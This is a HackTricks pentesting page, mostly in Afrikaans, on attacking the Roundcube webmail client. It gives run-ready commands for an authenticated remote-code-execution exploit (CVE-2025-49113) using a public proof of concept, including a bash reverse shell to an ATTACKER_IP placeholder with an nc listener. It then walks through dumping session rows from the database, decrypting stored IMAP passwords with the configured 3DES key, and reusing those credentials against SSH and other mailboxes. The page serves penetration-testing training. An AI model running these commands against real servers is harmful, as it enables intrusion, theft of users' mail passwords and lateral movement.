Roundcube
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
Roundcube is ân PHP webmail client wat gewoonlik op HTTP(S) vhosts blootgestel word (e.g., mail.example.tld). Useful fingerprints:
- HTML source often leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- Standaard app-pad in containers/VMs: /var/www/html/roundcube
- Hoofkonfigurasie: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
Geaffekteerde weergawes (per vendor/NVD):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
Opsomming van die fout
- Die _from-parameter in program/actions/settings/upload.php word nie gevalideer nie, wat die injection of attackerâcontrolled data moontlik maak wat Roundcube later unserializes, wat lei tot gadget chain execution en remote code execution in die web context (postâauth).
Quick exploitation
- Vereistes: geldige Roundcube credentials en ân bereikbare UI URL (e.g., http://mail.target.tld)
- Publieke PoC automatiseer session handling, gadget crafting and upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
Aantekeninge
- Uitset is dikwels blind; gebruik sleep N om RCE te verifieer
- Die resulterende shell hardloop gewoonlik as www-data; op gekonteineriseerde ontplooiings verwag /.dockerenv en 172.17.0.0/16 netwerk
Postâexploitation: herstel IMAP-wagwoorde uit Roundcube-sessies
Roundcube stoor die huidige gebruiker se IMAP-wagwoord in die session (database), geĂ«nkripteer met die serverâside 3DES-sleutel wat in config.inc.php gekonfigureer is. Met lĂȘerstelsel- of DB-toegang op die Roundcube-host kan jy plaintext-wagwoorde herstel en pivot na ander posbusse/dienste (SSH-hergebruik kom algemeen voor).
- Lees DB DSN en 3DES key uit config
config/config.inc.php bevat gewoonlik:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24âbyte key (3DES)
- Verbind met die DB en dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
Die session.vars-veld is ân Base64 blob wat deur Roundcubeâs encrypt() geproduseer word: Base64( IV || 3DES-CBC(plaintext) ). Die eerste 8 bytes na Base64âdecoding is die IV.
- Vind die password-veld
ân vinnige manier om die credential binne die decrypted struktuur raak te sien, is om eers die vars-veld Base64âdecode en die serialized entries visueel te bekyk:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Ontsleutel met Roundcube se helper
Roundcube word met ân CLI gelewer wat dieselfde rcmail->decrypt() logika en die gekonfigureerde des_key gebruik:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- Handmatige 3DES-CBC decryption (opsioneel)
- Ciphertext format: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, key length 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
Gereelde ligginge
- DB-tabel: session (users-tabel koppel loginname aan IDs)
- Konfigurasiepad: /var/www/html/roundcube/config/config.inc.php
Operationele gebruik
- Ouer session-rye bevat dikwels vorige gebruikers se IMAP-wagwoorde; decrypt meerdere inskrywings om laterally na ander e-posbokse te beweeg
- Probeer herwonne credentials teen SSH of ander dienste as credential reuse vermoed word
Verwysings
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 â NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound â 0xdf writeâup (Roundcube 1.6.10 â RCE â session decrypt pivot)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

